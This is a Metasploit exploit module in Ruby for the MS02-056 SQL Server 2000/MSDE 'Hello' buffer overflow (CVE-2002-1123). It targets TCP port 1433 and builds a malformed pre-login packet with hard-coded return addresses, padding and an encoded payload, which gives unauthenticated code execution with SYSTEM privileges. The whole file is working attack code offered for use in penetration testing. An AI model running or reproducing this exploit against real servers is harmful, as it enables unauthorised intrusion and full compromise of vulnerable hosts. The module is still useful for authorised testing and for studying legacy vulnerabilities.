##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::MSSQL

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MS02-056 Microsoft SQL Server Hello Overflow',
        'Description' => %q{
          By sending malformed data to TCP port 1433, an
          unauthenticated remote attacker could overflow a buffer and
          possibly execute code on the server with SYSTEM level
          privileges. This module should work against any vulnerable
          SQL Server 2000 or MSDE install (< SP3).
        },
        'Author' => [ 'MC' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2002-1123'],
          [ 'OSVDB', '10132'],
          [ 'BID', '5411'],
          [ 'MSB', 'MS02-056'],

        ],
        'Privileged' => true,
        'Payload' => {
          'Space' => 512,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
        },
        'Targets' => [
          [
            'MSSQL 2000 / MSDE <= SP2',
            {
              'Platform' => 'win',
              'Rets' => [0x42b68aba, 0x42d01e50],
            },
          ],
        ],
        'Platform' => 'win',
        'DisclosureDate' => '2002-08-05',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    info = mssql_ping
    if (info['ServerName'])
      print_status("SQL Server Information:")
      info.each_pair { |k, v|
        print_status("   #{k + (" " * (15 - k.length))} = #{v}")
      }
      return Exploit::CheckCode::Detected
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    connect
    buf = "\x12\x01\x00\x34\x00\x00\x00\x00\x00\x00\x15\x00\x06\x01\x00\x1b" +
          "\x00\x01\x02\x00\x1c\x00\x0c\x03\x00\x28\x00\x04\xff\x08\x00\x02" +
          "\x10\x00\x00\x00" +
          rand_text_english(528, payload_badchars) +
          "\x1B\xA5\xEE\x34" +
          rand_text_english(4, payload_badchars) +
          [ target['Rets'][0] ].pack('V') +
          [ target['Rets'][1], target['Rets'][1] ].pack('VV') +
          '3333' +
          [ target['Rets'][1], target['Rets'][1] ].pack('VV') +
          rand_text_english(88, payload_badchars) +
          payload.encoded +
          "\x00\x24\x01\x00\x00"

    sock.put(buf)

    handler
    disconnect
  end
end
